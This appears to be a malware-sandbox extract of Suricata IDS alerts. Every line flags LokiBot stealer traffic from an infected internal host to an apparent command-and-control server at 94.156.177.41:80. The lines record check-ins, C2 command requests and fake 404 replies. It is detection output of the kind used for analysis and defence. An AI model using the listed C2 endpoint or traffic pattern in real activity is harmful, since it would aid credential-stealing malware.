Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:58516 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:58515 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:58514 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:58512 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:58518
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:58530 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:58508 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:58493 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:49751 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:58511 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:58512 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:58511
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:58514
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:58530 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:58516
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58572 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:49763 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:58499
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:49759 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:49759 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:58512 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:58505
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:58559 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:49751
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:49763 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:49758 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58565 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:58572 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:58572 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:58572 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:58572 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:58559 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:58572
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:58512
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:49763 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:58559 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:49759
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:49763 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:49763 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:58565 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:58565 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58588 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:58588 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:58588 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:58559 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:58493 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58524 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:58524 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:58524 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:58515
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:49763
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:58565 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58489 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:58493 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:58493 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:49758
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:58565 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58501 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:58501 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:49761 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:58530
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:58489 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:58489 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58506 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:58489 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:58506 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:58588 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58594 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:58506 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:58588 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:58501 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:58493
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58623 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:58524 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:58524 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:58489 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:58559
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58606 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:58623 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:58606 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:58606 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:58623 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:58501 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:58524
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:58501 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:58623 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58543 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:58489
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58650 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:58650 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:58508
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:58588
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58635 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:58543 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:58623 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:58543 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:58565
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58582 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58664 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:58582 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:58582 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:58650 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:58635 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:58582 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:58506 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:58501
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:58506 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58510 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:58510 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:58664 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:58510 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58629 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:49761 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:49761 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:58629 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:58510 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:49761 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:58629 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:58582 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58600 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:58600 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:58600 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:58650 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:58664 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58613 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:58543 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58695 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:58695 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:58629 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:58600 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:58600 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58683 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:58683 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58497 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58553 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:58553 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:58594 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:58695 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:58510 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:58623
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:58506
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:58510
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:58695 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:58695 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:49761 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:58664 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:58664 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:58635 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:58695
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:58497 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:49756 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58675 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:58664
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:58675 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:58613 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:58553 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:58675 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:58594 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:58543 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58701 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:58635 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:58635 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:49761
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:58553 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:58683 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:58675 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:49756 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58536 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:58536 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:58536 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:58675 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:58613 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:58594 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:58594 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:58536 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:58553 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:58536 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:58497 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58708 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:58708 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:58606 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:58708 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:58606 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58495 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:58495 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:58495 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:58543
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:58701 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:58701 -> 94.156.177.41:80
